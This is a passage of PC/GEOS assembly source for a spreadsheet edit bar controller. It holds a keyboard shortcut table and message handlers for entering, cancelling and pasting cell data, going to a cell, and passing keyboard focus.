MSG_META_KBD_CHAR: cl - Character (Chars or VChar) ch - CharacterSet (CS_BSW or CS_CONTROL) dl - CharFlags dh - ShiftState (left from conversion) bp low - ToggleState bp high - scan code RETURN: carry - set if shortcut di - offset of shortcut in table DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 12/13/91 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCCheckShortcut proc near uses ax, ds, si .enter mov ax, (length EBCKbdShortcuts) mov si, offset EBCKbdShortcuts segmov ds, cs call FlowCheckKbdShortcut mov di, si ;di <- offset of shortcut .leave ret EBCCheckShortcut endp ;p a c s s c ;h l t h e h ;y t r f t a ;s l t r ; if DBCS_PCGEOS EBCKbdShortcuts KeyboardShortcut \ <0, 0, 0, 0, C_SYS_ESCAPE and mask KS_CHAR>, ;<Esc> <0, 0, 0, 0, C_SYS_TAB and mask KS_CHAR>, ;<Tab> <0, 0, 0, 1, C_SYS_TAB and mask KS_CHAR>, ;<Shift-Tab> <0, 0, 0, 0, C_SYS_ENTER and mask KS_CHAR>, ;<Enter> <0, 0, 0, 1, C_SYS_ENTER and mask KS_CHAR>, ;<Shift-Enter> <0, 0, 0, 0, C_SYS_UP and mask KS_CHAR>, ;<UpArrow> <0, 0, 0, 0, C_SYS_DOWN and mask KS_CHAR>, ;<DownArrow> <0, 0, 1, 0, C_SYS_UP and mask KS_CHAR>, ;<Ctrl-Up> <0, 0, 1, 0, C_SYS_DOWN and mask KS_CHAR>, ;<Ctrl-Down> <0, 0, 1, 0, C_SYS_LEFT and mask KS_CHAR>, ;<Ctrl-Left> <0, 0, 1, 0, C_SYS_RIGHT and mask KS_CHAR>, ;<Ctrl-Right> <0, 0, 0, 0, C_SYS_PREVIOUS and mask KS_CHAR>, ;<PageUp> <0, 0, 0, 0, C_SYS_NEXT and mask KS_CHAR>, ;<PageDown> <0, 0, 1, 0, C_SYS_PREVIOUS and mask KS_CHAR>, ;<Ctrl-PageUp> <0, 0, 1, 0, C_SYS_NEXT and mask KS_CHAR>, ;<Ctrl-PageDown> <0, 0, 0, 0, C_SYS_LEFT and mask KS_CHAR>, ;<LeftArrow> <0, 0, 0, 0, C_SYS_RIGHT and mask KS_CHAR>, ;<RightArrow> <0, 0, 1, 0, C_SYS_ENTER and mask KS_CHAR> ;<Ctrl><Enter> else EBCKbdShortcuts KeyboardShortcut \ <0, 0, 0, 0, 0xf, VC_ESCAPE>, ;<Esc> <0, 0, 0, 0, 0xf, VC_TAB>, ;<Tab> <0, 0, 0, 1, 0xf, VC_TAB>, ;<Shift-Tab> <0, 0, 0, 0, 0xf, VC_ENTER>, ;<Enter> <0, 0, 0, 1, 0xf, VC_ENTER>, ;<Shift-Enter> <0, 0, 0, 0, 0xf, VC_UP>, ;<UpArrow> <0, 0, 0, 0, 0xf, VC_DOWN>, ;<DownArrow> <0, 0, 1, 0, 0xf, VC_UP>, ;<Ctrl-Up> <0, 0, 1, 0, 0xf, VC_DOWN>, ;<Ctrl-Down> <0, 0, 1, 0, 0xf, VC_LEFT>, ;<Ctrl-Left> <0, 0, 1, 0, 0xf, VC_RIGHT>, ;<Ctrl-Right> <0, 0, 0, 0, 0xf, VC_PREVIOUS>, ;<PageUp> <0, 0, 0, 0, 0xf, VC_NEXT>, ;<PageDown> <0, 0, 1, 0, 0xf, VC_PREVIOUS>, ;<Ctrl-PageUp> <0, 0, 1, 0, 0xf, VC_NEXT>, ;<Ctrl-PageDown> <0, 0, 0, 0, 0xf, VC_LEFT>, ;<LeftArrow> <0, 0, 0, 0, 0xf, VC_RIGHT>, ;<RightArrow> <0, 0, 1, 0, 0xf, VC_ENTER> ;<Ctrl><Enter> endif EBCKbdActions nptr \ offset EBCCancel, offset EBCEnterAndPass, offset EBCEnterAndPass, offset EBCEnterAndPass, offset EBCEnterAndPass, offset EBCEnterAndPass, offset EBCEnterAndPass, offset EBCEnterAndPass, offset EBCEnterAndPass, offset EBCEnterAndPass, offset EBCEnterAndPass, offset EBCEnterAndPass, offset EBCEnterAndPass, offset EBCEnterAndPass, offset EBCEnterAndPass, offset EBCCheckStart, offset EBCCheckEnd, offset EBCEnterNoPass CheckHack <(length EBCKbdActions) eq (length EBCKbdShortcuts)> COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCEnterData %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Enter data from the edit bar CALLED BY: MSG_SSEBC_ENTER_DATA PASS: *ds:si - instance data es - seg addr of SSEditBarControlClass ax - the message bp - keyboard event to send to spreadsheet, or zero if none. RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 5/18/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCEnterData method dynamic SSEditBarControlClass, MSG_SSEBC_ENTER_DATA call SSCGetToolBlockAndTools ; ; See if any changes have been made. If not, we're done ; !* Commenting this out to fix a bug that allowed illegally formated ; data to be entered into a cell from the edit bar on the 2nd try ; (see bug 38444. PB 7/5/95 ; call EBC_CheckModified ; jz done ;branch if not modified mov di, offset EditBar ;^lbx:di <- OD of text object mov ax, MSG_SPREADSHEET_ENTER_DATA_WITH_EVENT ;ax <- message to send call GetSendText ;get text and send to ssheet ; ; Mark the edit bar as not modified ; call EBC_NotModified done:: ret EBCEnterData endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCCancelData %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Cancel changes to data in edit abr CALLED BY: MSG_SSEBC_CANCEL_DATA PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of SSEditBarControlClass ax - the message RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 1/31/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCCancelData method dynamic SSEditBarControlClass, MSG_SSEBC_CANCEL_DATA call SSCGetToolBlockAndTools ; ; Mark the text as not modified so the notification isn't ignored ; call EBC_NotModified ; ; Force the controller to send a new notification ; mov ax, MSG_GEN_RESET call ObjCallInstanceNoLock ret EBCCancelData endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCInitiateEditBarDB %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Brings up the "Goto Cell" dialog box CALLED BY: MSG_SSEBC_INITIATE_GOTO_CELL_DB PASS: *ds:si = SSEditBarContorlClass object RETURN: nothing DESTROYED: ax, cx, dx, bp PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- martin 7/15/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCInitiateEditBarDB method dynamic SSEditBarControlClass, MSG_SSEBC_INITIATE_GOTO_CELL_DB .enter ; ; Get pointer to Goto Dialog ; call SSCGetChildBlockAndFeatures tst bx jnz gotGotoDB ; ; If no child block yet, build it now ; mov ax, MSG_GEN_CONTROL_GENERATE_UI call ObjCallInstanceNoLock call SSCGetChildBlockAndFeatures gotGotoDB: ; ; If the feature exists, initiate the dialog! ; test ax, mask SSEBCF_GOTO_CELL jz noGotoDB mov si, offset GotoDB ;^lbx:si <- OD of text object mov ax, MSG_GEN_INTERACTION_INITIATE call EBC_ObjMessageCall noGotoDB: .leave ret EBCInitiateEditBarDB endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCInitialKeypress %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle initial keypress that begins editing CALLED BY: MSG_SSEBC_INITIAL_KEYPRESS PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of SSEditBarControlClass ax - the message same as MSG_META_KBD_CHAR: cl - Character (Chars or VChar) ch - CharacterSet (CS_BSW or CS_CONTROL) dl - CharFlags dh - ShiftState (left from conversion) bp low - ToggleState bp high - scan code RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 5/27/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCInitialKeypress method dynamic SSEditBarControlClass, \ MSG_SSEBC_INITIAL_KEYPRESS call SSCGetToolBlockAndTools test ax, mask SSEBCTF_EDIT_BAR ;any edit bar? jz done ;branch if no edit bar ; ; If we have an edit bar: ; (1) select all the text ; (2) send the keypress to it ; (3) tell it to grab the focus ; changed 6/27/94-brianc to work with FEP: ; (1) select all the text ; (2) tell it to grab the focus ; (3) send the keypress to it ; mov si, offset EditBar if _PROTECT_CELL ; ; We don't want to get any keyboard input when the cell is protected, ; so ignore the input when the text field is disabled. ; push cx, dx, bp mov ax, MSG_GEN_GET_ENABLED call EBC_ObjMessageCall pop cx, dx, bp jnc done endif push cx, dx, bp mov ax, MSG_VIS_TEXT_SELECT_ALL call EBC_ObjMessageCall mov ax, MSG_META_GRAB_FOCUS_EXCL call EBC_ObjMessageCall pop cx, dx, bp mov ax, MSG_META_KBD_CHAR call EBC_ObjMessageCall done: ret EBCInitialKeypress endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCPassKeypress %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Pass a keypress on to the spreadsheet CALLED BY: MSG_SSEBC_PASS_KEYPRESS PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of SSEditBarControlClass ax - the message same as MSG_META_KBD_CHAR: cl - Character (Chars or VChar) ch - CharacterSet (CS_BSW or CS_CONTROL) dl - CharFlags dh - ShiftState (left from conversion) bp low - ToggleState bp high - scan code RETURN: none DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 5/27/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCPassKeypress method dynamic SSEditBarControlClass, \ MSG_SSEBC_PASS_KEYPRESS mov ax, MSG_META_KBD_CHAR call SSCSendToSpreadsheet ret EBCPassKeypress endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCEnableIcons %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Enable the edit icons CALLED BY: MSG_SSEBC_ENABLE_ICONS PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of SSEditBarControlClass ax - the message RETURN: DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 5/27/92 Initial version martin 7/13/93 Added more features %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCEnableIcons method dynamic SSEditBarControlClass, \ MSG_SSEBC_DIS_ENABLE_EDIT_ICONS .enter ; ; Do we have any icons? ; call SSCGetToolBlockAndTools xchg ax, cx ;ax <- MSG_GEN_SET_ENABLED ; ; If we have icons, enable them ; test cx, mask SSEBCTF_EDIT_ICONS jz iconsDone call DisEnableEditIcons iconsDone: ; ; Do we have a backspace button? ; test cx, mask SSEBCTF_BACKSPACE_BUTTON jz backspaceDone call DisEnableBackspaceButton backspaceDone: ; ; Do we have a mask selector? ; test cx, mask SSEBCTF_FILTER_SELECTOR jz exit call DisEnableFilterSelector exit: .leave ret EBCEnableIcons endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCGotoCellDB %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Goto a cell, from the DB CALLED BY: MSG_SSEBC_GOTO_CELL_DB PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of SSEditBarControlClass ax - the message RETURN: DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 6/ 5/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCGotoCellDB method dynamic SSEditBarControlClass, \ MSG_SSEBC_GOTO_CELL_DB call SSCGetChildBlockAndFeatures mov di, offset GotoDBCellEdit ;^lbx:di <- OD of text object mov ax, MSG_SPREADSHEET_GOTO_CELL call GetSendText ret EBCGotoCellDB endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCGotoCell %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Goto a cell CALLED BY: MSG_SSEBC_GOTO_CELL PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of SSEditBarControlClass ax - the message RETURN: DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- eca 6/ 5/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCGotoCell method dynamic SSEditBarControlClass, \ MSG_SSEBC_GOTO_CELL call SSCGetToolBlockAndTools mov di, offset GotoCellEdit ;^lbx:di <- OD of text object mov ax, MSG_SPREADSHEET_GOTO_CELL call GetSendText ret EBCGotoCell endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SetRCFromValue %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: go to cell specified by R/C GenValue pair CALLED BY: UTILITY PASS: *ds:si = controller bx = child block RETURN: nothing DESTROYED: ax, bx, cx, dx, bp, si, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- brianc 10/28/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetSendText %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get text from an controller text object and send to the ssheet CALLED BY: UTILITY PASS: *ds:si - controller ^lbx:di - OD of text object ax - message to send RETURN: none DESTROYED: cx, dx PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: NOTE: assumes the spreadsheet message wants the text as: dx - handle of text block (NULL-terminated) cx - length of text (w/o NULL) REVISION HISTORY: Name Date Description ---- ---- ----------- eca 6/ 5/92 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetSendText proc near .enter ; ; Get the text from the object ; push si, ax mov si, di ;^lbx:si <- OD of text object clr dx ;dx <- alloc new block mov ax, MSG_VIS_TEXT_GET_ALL_BLOCK call EBC_ObjMessageCall mov dx, cx ;dx <- new text block mov cx, ax ;cx <- string length pop si, ax ; ; Send the text to the Spreadsheet ; call SSCSendToSpreadsheet .leave ret GetSendText endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% EBCGetFlags %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get flags about the state of the edit bar CALLED BY: MSG_SSEBC_GET_FLAGS PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of SSEditBarControlClass ax - the message RETURN: cl - SSEditBarControlFlags DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 1/31/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ EBCGetFlags method dynamic SSEditBarControlClass, MSG_SSEBC_GET_FLAGS call SSCGetToolBlockAndTools clr cl ;cl <- no flags test ax, mask SSEBCTF_EDIT_BAR ;edit bar existeth? jz noEditBar ;branch if not mov si, offset EditBar ;^lbx:si <- OD of edit bar mov ax, MSG_EBC_TEXT_EDIT_GET_FLAGS call EBC_ObjMessageCall noEditBar: ret EBCGetFlags endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GetSelection %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the current selection range CALLED BY: EBCTextReplaceSelection(), AddOpIfNeeded(), etc. PASS: ^lbx:si - OD of text ss:bp - ptr to VisTextRange RETURN: ss:bp - VisTextRange filled in DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 2/ 2/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GetSelection proc far uses ax, cx, dx .enter mov ax, MSG_VIS_TEXT_GET_SELECTION_RANGE mov dx, ss ;dx:bp <- VisTextRange call EBC_ObjMessageCall EC < tst ss:[bp].VTR_start.high ;> EC < ERROR_NZ VISIBLE_POSITION_TOO_LARGE > EC < tst ss:[bp].VTR_end.high ;> EC < ERROR_NZ VISIBLE_POSITION_TOO_LARGE > .leave ret GetSelection endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SSEBCGrabFocus %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Grab the focus (and give it to the edit bar) CALLED BY: MSG_SSEBC_GRAB_FOCUS PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of SSEditBarControlClass ax - the message RETURN: DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: NOTE: this is done via a separate message rather than subclassing MSG_META_GRAB_FOCUS_EXCL because the "current cell" indicator can also have/grab the focus... KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 2/ 8/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SSEBCGrabFocus method dynamic SSEditBarControlClass, MSG_SSEBC_GRAB_FOCUS call SSCGetToolBlockAndTools test ax, mask SSEBCTF_EDIT_BAR jz noEditBar mov si, offset EditBar ;^lbx:si <- OD of edit bar mov ax, MSG_META_GRAB_FOCUS_EXCL call EBC_ObjMessageCall noEditBar: ret SSEBCGrabFocus endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SSEBCPaste %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: handle a paste by passing off to our text object CALLED BY: MSG_META_CLIPBOARD_PASTE PASS: *ds:si - instance data ds:di - *ds:si es - seg addr of SSEditBarControlClass ax - the message RETURN: DESTROYED: bx, si, di, ds, es (method handler) PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 3/17/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SSEBCPaste method dynamic SSEditBarControlClass, MSG_META_CLIPBOARD_PASTE call SSCGetToolBlockAndTools test ax, mask SSEBCTF_EDIT_BAR jz noEditBar mov si, offset EditBar ;^lbx:si <- OD of edit bar if _PROTECT_CELL ; ; If the EditBar is not-enabled, then don't paste. ; call EBCCheckEnabledEditBar jnc error endif mov ax, MSG_VIS_TEXT_SELECT_ALL call EBC_ObjMessageCall mov ax, MSG_META_CLIPBOARD_PASTE call EBC_ObjMessageCall mov ax, MSG_META_GRAB_FOCUS_EXCL call EBC_ObjMessageCall noEditBar: ret if _PROTECT_CELL error: mov ax, SST_ERROR call UserStandardSound jmp noEditBar endif SSEBCPaste endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SSEBCNotifiedWithDataBlock %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle a handwriting notification by passing it off to our text object. CALLED BY: MSG_META_NOTIFY_WITH_DATA_BLOCK PASS: *ds:si = SSEditBarControlClass object ds:di = SSEditBarControlClass instance data ds:bx = SSEditBarControlClass object (same as *ds:si) es = segment of SSEditBarControlClass ax = message # cx:dx = NotificationType cx - NT_manuf dx - NT_type ^hbp = SHARABLE data block having a "reference count" initialized via MemInitRefCount. RETURN: nothing DESTROYED: bx, si, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- HL 6/ 7/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SSEBCNotifiedWithDataBlock method dynamic SSEditBarControlClass, MSG_META_NOTIFY_WITH_DATA_BLOCK ; ; We only want to pass this message on to our text object if it is ; sent with the notification type, GWNT_TEXT_REPLACE_WITH_HWR. ; Any other notification types should be passed on to our superclass. ; cmp cx, MANUFACTURER_ID_GEOWORKS jne callSuper cmp dx, GWNT_TEXT_REPLACE_WITH_HWR jne callSuper call SSCGetToolBlockAndTools test ax, mask SSEBCTF_EDIT_BAR jz noEditBar mov ax, MSG_META_NOTIFY_WITH_DATA_BLOCK mov si, offset EditBar ;^lbx:si <- OD of edit bar call EBC_ObjMessageCall mov ax, MSG_META_GRAB_FOCUS_EXCL call EBC_ObjMessageCall noEditBar: ret callSuper: mov di, offset SSEditBarControlClass GOTO ObjCallSuperNoLock SSEBCNotifiedWithDataBlock endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SSEBCContextNotif %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle message by passing it off to our text object. CALLED BY: MSG_META_GENERATE_CONTEXT_NOTIFICATION PASS: *ds:si = SSEditBarControlClass object ds:di = SSEditBarControlClass instance data ds:bx = SSEditBarControlClass object (same as *ds:si) es = segment of SSEditBarControlClass ax = message # ss:bp = GetContextParams (GCP_replyObj ignored) RETURN: nothing DESTROYED: bx, si, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- HL 6/ 8/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SSEBCContextNotif method dynamic SSEditBarControlClass, MSG_META_GENERATE_CONTEXT_NOTIFICATION call SSCGetToolBlockAndTools test ax, mask SSEBCTF_EDIT_BAR jz noEditBar mov ax, MSG_META_GENERATE_CONTEXT_NOTIFICATION mov si, offset EditBar ;^lbx:si <- OD of edit bar mov di, mask MF_STACK or mask MF_CALL call ObjMessage noEditBar: ret SSEBCContextNotif endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SSEBCDeleteRangeOfChars %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Handle message by passing it off to our text object. CALLED BY: MSG_META_DELETE_RANGE_OF_CHARS PASS: *ds:si = SSEditBarControlClass object ds:di = SSEditBarControlClass instance data ds:bx = SSEditBarControlClass object (same as *ds:si) es = segment of SSEditBarControlClass ax = message # ss:bp = VisTextRange (range of chars to delete) RETURN: nothing DESTROYED: bx, si, di SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- HL 6/ 7/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SSEBCDeleteRangeOfChars method dynamic SSEditBarControlClass, MSG_META_DELETE_RANGE_OF_CHARS call SSCGetToolBlockAndTools test ax, mask SSEBCTF_EDIT_BAR jz noEditBar mov ax, MSG_META_DELETE_RANGE_OF_CHARS mov si, offset EditBar ;^lbx:si <- OD of edit bar mov di, mask MF_STACK or mask MF_CALL call ObjMessage mov ax, MSG_META_GRAB_FOCUS_EXCL call EBC_ObjMessageCall noEditBar: ret SSEBCDeleteRangeOfChars endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SSEBCSetNotEnabled %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DESCRIPTION: Set the edit bar not modified, so that text doesn't remain across document closings, etc. PASS: *ds:si - SSEditBarControlClassClass object ds:di - SSEditBarControlClassClass instance data es - segment of SSEditBarControlClassClass RETURN: nothing DESTROYED: ax,cx,dx,bp REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 11/15/93 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ SSEBCSetNotEnabled method dynamic SSEditBarControlClass, MSG_GEN_SET_NOT_ENABLED mov di, offset SSEditBarControlClass call ObjCallSuperNoLock call SSCGetToolBlockAndTools tst bx jz done test ax, mask SSEBCTF_EDIT_BAR jz done call EBC_NotModified done: ret SSEBCSetNotEnabled endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ColumnValueGetValueText %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: get text representation of current value CALLED BY: MSG_GEN_VALUE_GET_VALUE_TEXT PASS: *ds:si = ColumnValueClass object ds:di = ColumnValueClass instance data ds:bx = ColumnValueClass object (same as *ds:si) es = segment of ColumnValueClass ax = message # 